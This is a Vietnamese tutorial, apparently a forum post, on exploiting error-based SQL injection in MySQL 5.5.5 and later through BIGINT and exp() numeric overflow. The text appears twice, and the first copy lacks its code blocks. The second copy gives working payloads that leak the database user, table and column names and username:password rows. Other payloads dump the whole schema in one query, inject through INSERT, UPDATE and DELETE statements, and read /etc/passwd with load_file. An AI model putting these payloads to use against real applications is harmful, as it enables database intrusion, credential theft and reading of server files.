[SQL injection] Khai thác Error based SQL injection
SQL injection đã trở thành một khái niệm rất quen thuộc trong nhiều năm trở lại đây. Nó là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các thao tác, thêm, sửa, xóa… trên cơ sở dữ liệu của ứng dụng. Nguy hiểm hơn, kẻ tấn công có thể lợi dụng lỗi này để upload webshell lên server để chiếm quyền điều khiển server. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...
Các kỹ thuật tấn công SQL injection thường được sử dụng là:
Khai thác SQL injection bằng cách lợi dụng Numberic overflow trong MySQL
1. Xử lý Out-of-range và Overflow trong MySQL
MySQL hỗ trợ các kiểu dữ liệu tiêu chuẩn SQL như INTEGER, SMALLINT, TINYINT, MEDIUMINT, BIGINT. FLOAT, DOUBLE…
Bảng phạm vi của các kiểu dữ liệu nguyên
(Nguồn:http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)
Mỗi kiểu dữ liệu sẽ có một phạm vi giới hạn khác nhau. Khi các giá trị vượt ra ngoài giới hạn này nó sẽ dẫn tới hiện tượng tràn số (overflow). Có sự khác nhau trong xử lý Out-of-range và overflow giữa các phiên bản MySQL. Việc xử lý Out-of-range và overflow từ phiên bản MySQL 5.5.5 trở lên sẽ trả về một thông báo lỗi, trong khi trong các phiên bản thấp hơn mặc định sẽ trả về một kết quả mà không đưa ra bất kỳ thông báo lỗi nào.
Ví dụ, kiểu dữ liệu BIGINT có kích thước 8 byte (64 bit). Giá trị số nguyên có dấu lớn nhất của nó là:
Trong phiên bản MySQL thấp hơn, kết quả trả về một giá trị:
Đối với kiểu dữ liệu BIGINT không dấu, giá trị lớn nhất của nó là:
Với phiên bản MySQL thấp hơn:
Lợi dụng xử lý out-of-range và overflow trên các phiên bản MySQL từ 5.5.5 trở lên, ta có thể gây ra tràn số để leak dữ liệu qua các thông báo lỗi, qua đó thực hiện khai thác Error based SQL injection.
2. Khai thác
Ta sẽ thực hiện các phép toán gây tràn số, qua đó, MySQL sẽ rò rỉ các thông tin về cơ sở dữ liệu cho chúng ta.
~0 sẽ trả về giá trị lớn nhất kiểu BIGINT là 18446744073709551615. Do đó gây tràn số và leak dữ liệu qua thông báo lỗi.
Một ví dụ khác:
3. Trích xuất dữ liệu
Việc trích xuất dữ liệu tương tự như khai thác error based SQL injection thông thường:
Thu thập thông tin về bảng:
Thu thập thông tin về cột:
Trích xuất dữ liệu:
4. Dump cơ sở dữ liệu
Có thể dump toàn bộ cơ sở dữ liệu trong một câu truy vấn:
5. Injection vào các câu truy vấn
Có thể thực hiện inject vào câu truy vấn insert, update hay delete.
5.1. Injection vào câu truy vấn Insert
5.2. Injection vào câu truy vấn Update
5.3. Injection vào câu truy vấn Delete
6. Đọc file
Dễ dàng đọc file trên server.
Kết luận
Việc khai thác SQL injection lợi dụng việc xử lý tràn số trong MySQL là rất đa dạng, bằng cách chỉ cần tạo ra các phép toán gây tràn số, ta hoàn toàn có thu thập được các thông tin về cơ sở dữ liệu qua các thông báo lỗi trả về. Đương nhiên, phiên bản MySQL phải từ 5.5.5 trở lên.
Ví dụ:
Tài liệu tham khảo
- https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/
- https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/
Các kỹ thuật tấn công SQL injection thường được sử dụng là:
- Boolean based SQL injection
- Union based SQL injection
- Error based SQL injection
Khai thác SQL injection bằng cách lợi dụng Numberic overflow trong MySQL
1. Xử lý Out-of-range và Overflow trong MySQL
MySQL hỗ trợ các kiểu dữ liệu tiêu chuẩn SQL như INTEGER, SMALLINT, TINYINT, MEDIUMINT, BIGINT. FLOAT, DOUBLE…
Bảng phạm vi của các kiểu dữ liệu nguyên
(Nguồn:http://dev.mysql.com/doc/refman/5.5/en/integer-types.html)
Mỗi kiểu dữ liệu sẽ có một phạm vi giới hạn khác nhau. Khi các giá trị vượt ra ngoài giới hạn này nó sẽ dẫn tới hiện tượng tràn số (overflow). Có sự khác nhau trong xử lý Out-of-range và overflow giữa các phiên bản MySQL. Việc xử lý Out-of-range và overflow từ phiên bản MySQL 5.5.5 trở lên sẽ trả về một thông báo lỗi, trong khi trong các phiên bản thấp hơn mặc định sẽ trả về một kết quả mà không đưa ra bất kỳ thông báo lỗi nào.
Ví dụ, kiểu dữ liệu BIGINT có kích thước 8 byte (64 bit). Giá trị số nguyên có dấu lớn nhất của nó là:
- Binary: 0b0111111111111111111111111111111111111111111111111111111111111111
- Hex: 0x7fffffffffffffff
- Decimal: 9223372036854775807
Mã:
mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
HTML:
mysql> SELECT 9223372036854775807 + 1;
+-------------------------+
| 9223372036854775807 + 1 |
+-------------------------+
| -9223372036854775808 |
+-------------------------+
- Binary: 0b1111111111111111111111111111111111111111111111111111111111111111
- Hex: 0xFFFFFFFFFFFFFFFF
- Decimal: 18446744073709551615
Mã:
# In decimal
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
# In binary
mysql> select cast(b'1111111111111111111111111111111111111111111111111111111111111111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
# In hex
mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffffffffff as unsigned) + 1)'
Mã:
mysql> SELECT 18446744073709551615 + 1;
+-------------------------+
| 18446744073709551615 + 1|
+-------------------------+
| 0|
+-------------------------+
2. Khai thác
Ta sẽ thực hiện các phép toán gây tràn số, qua đó, MySQL sẽ rò rỉ các thông tin về cơ sở dữ liệu cho chúng ta.
Mã:
mysql> select !(select*from(select user())x) - ~0 - ~0;
ERROR 1690 (22003): BIGINT value is out of range in '(~(0) + (not((select 'root@localhost' from dual))))'
Một ví dụ khác:
Mã:
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
Việc trích xuất dữ liệu tương tự như khai thác error based SQL injection thông thường:
Thu thập thông tin về bảng:
Mã:
select !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0-~0
Mã:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
Mã:
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0-~0;
Mã:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
Mã:
select !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
Mã:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
4. Dump cơ sở dữ liệu
Có thể dump toàn bộ cơ sở dữ liệu trong một câu truy vấn:
Mã:
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0-~0
Mã:
(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
Mã:
(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
Mã:
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))
Có thể thực hiện inject vào câu truy vấn insert, update hay delete.
5.1. Injection vào câu truy vấn Insert
Mã:
mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Mã:
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
5.2. Injection vào câu truy vấn Update
Mã:
mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Mã:
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4;
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
5.3. Injection vào câu truy vấn Delete
Mã:
mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Mã:
mysql> delete from users where id='1' | exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
6. Đọc file
Dễ dàng đọc file trên server.
Mã:
select exp(~(select*from(select load_file('/etc/passwd'))a));
Việc khai thác SQL injection lợi dụng việc xử lý tràn số trong MySQL là rất đa dạng, bằng cách chỉ cần tạo ra các phép toán gây tràn số, ta hoàn toàn có thu thập được các thông tin về cơ sở dữ liệu qua các thông báo lỗi trả về. Đương nhiên, phiên bản MySQL phải từ 5.5.5 trở lên.
Ví dụ:
Mã:
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'
Tài liệu tham khảo
- https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/
- https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/